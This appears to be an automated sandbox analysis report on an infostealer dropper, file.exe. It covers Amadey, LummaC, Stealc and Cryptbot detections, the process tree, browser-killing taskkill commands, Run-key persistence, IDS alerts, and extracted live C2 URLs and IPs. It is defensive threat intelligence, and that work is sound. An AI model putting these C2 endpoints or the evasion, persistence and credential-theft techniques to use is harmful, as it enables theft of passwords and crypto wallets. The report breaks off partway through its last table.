Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1561549
MD5:	ee9c5875f526c3f44381beb36b6eaa62
SHA1:	423ea51703796def5f3449b68c8bc62298187766
SHA256:	cd0973917f80520e71b932aa1c2ac651794b4da6ba5cb85de4e8910783d35690
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected Cryptbot

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Excessive usage of taskkill to terminate processes

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Sigma detected: CurrentVersion Autorun Keys Modification

Sleep loop found (likely to delay execution)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 7616 cmdline: "C:\Users\user\Desktop\file.exe" MD5: EE9C5875F526C3F44381BEB36B6EAA62)

skotes.exe (PID: 7820 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: EE9C5875F526C3F44381BEB36B6EAA62)

skotes.exe (PID: 7936 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EE9C5875F526C3F44381BEB36B6EAA62)

skotes.exe (PID: 5740 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: EE9C5875F526C3F44381BEB36B6EAA62)

d015c0e328.exe (PID: 7632 cmdline: "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe" MD5: F119A5326D7EF739B4B499912B709BC8)

chrome.exe (PID: 564 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2144 --field-trial-handle=1952,i,12186298689786786715,13601563027851220895,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6948 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 888 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2084 --field-trial-handle=1996,i,15798700704678858623,3005821271752402680,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

9b8665be8a.exe (PID: 7888 cmdline: "C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe" MD5: 447B432C2A27E71E1053DA4D6D520222)

36321ea525.exe (PID: 7296 cmdline: "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe" MD5: B607F667B23F2E1A00ED1246555F3F09)

taskkill.exe (PID: 7380 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2488 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 2484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3368 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6996 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6764 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6860 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 5184 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

da69a13142.exe (PID: 7180 cmdline: "C:\Users\user\AppData\Local\Temp\1008486001\da69a13142.exe" MD5: 38F5CD89E8B865100E7F123B9E84E2A3)

d015c0e328.exe (PID: 5236 cmdline: "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe" MD5: F119A5326D7EF739B4B499912B709BC8)

chrome.exe (PID: 4152 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7996 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2028,i,793406942762232909,14917387105879316521,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

d015c0e328.exe (PID: 4428 cmdline: "C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe" MD5: F119A5326D7EF739B4B499912B709BC8)

chrome.exe (PID: 2724 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1068 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2032,i,12538894136535135273,9759131612578208541,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=d015c0e328.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 3260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1996,i,8503345725967394971,11529639262021301947,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

firefox.exe (PID: 2144 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3352 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 2104 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2304 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2196 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {838a75ce-a8ab-4e8d-98ff-05e12ade437a} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 20997e70110 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6836 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4544 -parentBuildID 20230927232528 -prefsHandle 4536 -prefMapHandle 4532 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {303833e2-eb8f-43ab-bbd8-be87a075b7b8} 3352 "\\.\pipe\gecko-crash-server-pipe.3352" 209a9770510 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

9b8665be8a.exe (PID: 7836 cmdline: "C:\Users\user\AppData\Local\Temp\1008484001\9b8665be8a.exe" MD5: 447B432C2A27E71E1053DA4D6D520222)

36321ea525.exe (PID: 7148 cmdline: "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe" MD5: B607F667B23F2E1A00ED1246555F3F09)

taskkill.exe (PID: 6984 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6208 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6928 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7684 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7744 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4080 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5000 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 4108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 4468 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 7632 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

taskkill.exe (PID: 6856 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

36321ea525.exe (PID: 4448 cmdline: "C:\Users\user\AppData\Local\Temp\1008485001\36321ea525.exe" MD5: B607F667B23F2E1A00ED1246555F3F09)

taskkill.exe (PID: 4904 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2060 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5772 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 1144 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7660 cmdline: MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 7676 cmdline: MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
CryptBot	A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.	No Attribution	https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/ https://asec.ahnlab.com/en/24423/ https://asec.ahnlab.com/en/26052/ https://asec.ahnlab.com/en/31683/ https://asec.ahnlab.com/en/31802/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}

Threatname: LummaC

{"C2 url": "https://property-imper.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Cryptbot	Yara detected Cryptbot	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000016.00000003.2817573119.0000000000552000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000003.1779970897.0000000004BB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2748385585.000000000054D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2681910564.0000000000548000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2779060726.000000000054A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2688478544.0000000000548000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2716869243.000000000054C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000003.2491430724.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1816150110.0000000000F41000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2747176932.0000000000549000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000003.2282068353.0000000005030000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1786321241.0000000000A11000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2717394280.0000000000548000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1821078306.0000000000F41000.00000040.00000001.01000000.00000008.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000008.00000002.2537402557.000000000138E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001E.00000003.2696170160.0000000004E30000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000003.1775730528.00000000056E0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000003.2752550662.000000000054D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2716099922.000000000054A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2778454117.0000000000546000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1746120844.0000000005200000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001E.00000002.2795135342.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.2751030367.000000000054D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2683265747.000000000054B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000003.2754496805.000000000054D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001E.00000002.2788626873.0000000000831000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000008.00000002.2532205314.0000000000831000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000003.2719643130.0000000000548000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d015c0e328.exe PID: 7632	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d015c0e328.exe PID: 7632	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d015c0e328.exe PID: 7632	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 9b8665be8a.exe PID: 7888	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 9b8665be8a.exe PID: 7888	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: d015c0e328.exe PID: 5236	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d015c0e328.exe PID: 5236	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d015c0e328.exe PID: 5236	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 36321ea525.exe PID: 7296	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: d015c0e328.exe PID: 4428	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: d015c0e328.exe PID: 4428	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: d015c0e328.exe PID: 4428	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
1.2.skotes.exe.f40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.f40000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.a10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5740, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d015c0e328.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1008483001\d015c0e328.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 5740, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\d015c0e328.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-23T18:22:16.529827+0100	2028371	3	Unknown Traffic	192.168.2.4	49771	172.67.162.84	443	TCP
2024-11-23T18:22:18.594871+0100	2028371	3	Unknown Traffic	192.168.2.4	49778	172.67.162.84	443	TCP
2024-11-23T18:22:21.329666+0100	2028371	3	Unknown Traffic	192.168.2.4	49785	172.67.162.84	443	TCP
2024-11-23T18:22:23.973268+0100	2028371	3	Unknown Traffic	192.168.2.4	49791	172.67.162.84	443	TCP
2024-11-23T18:22:26.473847+0100	2028371	3	Unknown Traffic	192.168.2.4	49798	172.67.162.84	443	TCP
2024-11-23T18:22:28.993594+0100	2028371	3	Unknown Traffic	192.168.2.4	49805	172.67.162.84	443	TCP
2024-11-23T18:22:29.452381+0100	2028371	3	Unknown Traffic	192.168.2.4	49806	172.67.162.84	443	TCP
2024-11-23T18:22:31.075120+0100	2028371	3	Unknown Traffic	192.168.2.4	49812	172.67.162.84	443	TCP
2024-11-23T18:22:32.576178+0100	2028371	3	Unknown Traffic	192.168.2.4	49814	172.67.162.84	443	TCP
2024-11-23T18:22:33.733887+0100	2028371	3	Unknown Traffic	192.168.2.4	49820	172.67.162.84	443	TCP
2024-11-23T18:22:36.822071+0100	2028371	3	Unknown Traffic	192.168.2.4	49829	172.67.162.84	443	TCP
2024-11-23T18:22:37.181162+0100	2028371	3	Unknown Traffic	192.168.2.4	49830	172.67.162.84	443	TCP
2024-11-23T18:22:39.678996+0100	2028371	3	Unknown Traffic	192.168.2.4	49840	172.67.162.84	443	TCP
2024-11-23T18:22:40.173639+0100	2028371	3	Unknown Traffic	192.168.2.4	49841	172.67.162.84	443	TCP
2024-11-23T18:22:42.035955+0100	2028371	3	Unknown Traffic	192.168.2.4	49848	172.67.162.84	443	TCP
2024-11-23T18:22:43.921677+0100	2028371	3	Unknown Traffic	192.168.2.4	49856	172.67.162.84	443	TCP
2024-11-23T18:22:44.320280+0100	2028371	3	Unknown Traffic	192.168.2.4	49857	172.67.162.84	443	TCP
2024-11-23T18:22:47.373115+0100	2028371	3	Unknown Traffic	192.168.2.4	49870	172.67.162.84	443	TCP
2024-11-23T18:22:47.447048+0100	2028371	3	Unknown Traffic	192.168.2.4	49872	172.67.162.84	443	TCP
2024-11-23T18:22:50.031537+0100	2028371	3	Unknown Traffic	192.168.2.4	49886	172.67.162.84	443	TCP
2024-11-23T18:22:50.720466+0100	2028371	3	Unknown Traffic	192.168.2.4	49888	172.67.162.84	443	TCP
2024-11-23T18:22:57.386859+0100	2028371	3	Unknown Traffic	192.168.2.4	49907	172.67.162.84	443	TCP
2024-11-23T18:23:01.147211+0100	2028371	3	Unknown Traffic	192.168.2.4	49917	172.67.162.84	443	TCP
2024-11-23T18:23:11.267524+0100	2028371	3	Unknown Traffic	192.168.2.4	49946	172.67.162.84	443	TCP
2024-11-23T18:25:31.792178+0100	2028371	3	Unknown Traffic	192.168.2.4	50230	20.189.173.20	443	TCP
2024-11-23T18:26:25.206023+0100	2028371	3	Unknown Traffic	192.168.2.4	50249	20.189.173.17	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
